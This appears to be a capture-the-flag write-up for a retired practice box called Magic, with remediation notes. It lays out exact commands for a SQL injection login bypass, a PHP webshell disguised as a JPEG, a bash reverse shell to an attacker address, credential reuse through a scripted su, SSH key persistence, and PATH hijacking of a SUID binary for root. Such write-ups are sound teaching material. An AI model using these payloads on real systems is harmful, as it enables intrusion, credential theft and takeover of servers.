Magic
Summary
I found an Apache-hosted PHP portfolio application called Magic on port 80. Its login form concatenated user input directly into a SQL query, allowing a one-character injection string to bypass password verification and grant access to the authenticated upload panel. A PHP webshell was smuggled past the upload filter by prepending valid JPEG magic bytes to a PHP payload and saving it with a double extension; Apache's multi-extension MIME handling executed the inner .php handler, delivering a reverse shell as the web server account www-data.
The application's on-disk database configuration file disclosed MySQL credentials in plaintext, which were used to query the local database and recover the application administrator password. That password had been reused verbatim for the local OS account theseus; because SSH rejected password authentication, a Python pseudo-terminal shim was used to drive su interactively with the recovered password, yielding the user flag. An SSH keypair was installed for a stable session.
Enumeration as theseus revealed that the non-standard SUID-root binary /bin/sysinfo invoked system utilities by short name rather than absolute path, inheriting the caller's PATH; planting malicious shell scripts in /tmp ahead of the trusted PATH caused sysinfo to copy /bin/bash to a SUID-root file, which was then invoked for a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <pub-key-contents> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Service-version scan against both open ports.
$ nmap -Pn -sV -p 22,80 $TARGETConfirm the web application and identify the framework.
$ curl -si http://$TARGET/Enumerate PHP endpoints; reveals login.php and upload.php.
$ gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x phpConfirm upload.php requires authentication (expect HTTP 302 to login.php).
$ curl -si http://$TARGET/upload.phpExact commands 1
Submit the SQLi bypass; -c cj.txt saves the authenticated session cookie for the next step.
$ curl -sS -i -c cj.txt --data-urlencode "username=admin'-- -" --data-urlencode "password=x" http://$TARGET/login.phpFixUse parameterized queries to prevent SQL injection on the login formCritical
Exact commands 3
Craft the polyglot file: valid JPEG header immediately followed by the PHP webshell payload.
$ printf '\xff\xd8\xff\xe0<?php system($_GET["c"]); ?>' > sh.php.jpgUpload the disguised webshell using the authenticated session cookie from step 2.
$ curl -sS -b cj.txt -F "file=@sh.php.jpg" http://$TARGET/upload.phpVerify code execution — expect uid=33(www-data) in the response.
$ curl -sS --max-time 5 "http://$TARGET/images/uploads/sh.php.jpg?c=id"FixEnforce strict file-upload validation and disable PHP execution in the upload directoryCritical
Exact commands 2
Start the local listener before triggering the shell.
$ nc -lvnp 4444Trigger the reverse shell; replace $ATTACKER_IP with my VPN IP. The --max-time 3 ensures the curl call does not hang indefinitely.
$ curl -sS --max-time 3 "http://$TARGET/images/uploads/sh.php.jpg?c=$(python3 -c "import urllib.parse; print(urllib.parse.quote('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\''))")"Exact commands 2
Read the database configuration file — discloses MySQL credentials theseus's password.
$ cat /var/www/Magic/db.php5Dump the login table via PHP PDO inline (no mysql client needed); returns admin's password.
$ php -r '$pdo=new PDO("mysql:host=localhost;dbname=Magic","theseus","'"$PASSWORD2"'"); foreach($pdo->query("SELECT * FROM login") as $r){print_r($r);}'FixRemove plaintext database credentials from web-accessible config filesHigh
Exact commands 4
Run inside the www-data reverse shell; allocates a PTY, drives su -theseus with the recovered password, and prints id plus user.txt.
$ python3 - <<PY
import os, pty, select, sys, time
password = b"$PASSWORD\n"
pid, fd = pty.fork()
if pid == 0:
os.execvp('su', ['su', '-', 'theseus', '-c', 'id; cat /home/theseus/user.txt'])
buf = b''; sent = False; end = time.time() + 10
while time.time() < end:
r,_,_ = select.select([fd],[],[],0.2)
if fd in r:
data = os.read(fd, 4096)
if not data: break
sys.stdout.buffer.write(data); sys.stdout.buffer.flush()
if not sent and b'Password' in data:
os.write(fd, password); sent = True
PY
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)Generate a keypair on my machine for persistent access.
$ ssh-keygen -t ed25519 -N '' -f /tmp/magic_theseus_keyInstall the public key into theseus's authorized_keys; paste the contents of magic_theseus_key.pub.
$ # Run via the PTY su wrapper as theseus:
mkdir -p ~/.ssh && echo 'ssh-ed25519 AAAA...<pub-key-contents>' >> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keysConnect with the installed key for a stable SSH session as theseus.
$ ssh -i /tmp/magic_theseus_key -o StrictHostKeyChecking=no theseus@$TARGETFixEnforce unique passwords for OS accounts and never reuse application credentialsHigh
Exact commands 6
Enumerate SUID binaries; /bin/sysinfo is non-standard and stands out.
$ find / -perm -4000 -ls 2>/dev/nullConfirm sysinfo references utility names without absolute paths.
$ strings /bin/sysinfo | grep -E '^(lshw|fdisk|free|df|hwinfo)'Plant malicious replacements for each utility sysinfo calls; all three create the SUID rootbash.
$ cat > /tmp/lshw <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /tmp/lshw
cp /tmp/lshw /tmp/fdisk
cp /tmp/lshw /tmp/freeRun sysinfo with /tmp first in PATH; as root it executes the malicious scripts and creates /tmp/rootbash with SUID bit.
$ PATH=/tmp:$PATH /bin/sysinfo-p preserves the SUID effective UID (root), dropping into a root shell.
$ /tmp/rootbash -pRead the root flag — value is <root.txt>.
$ cat /root/root.txtFixRemove the SUID bit from /bin/sysinfo or patch it to use absolute binary pathsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.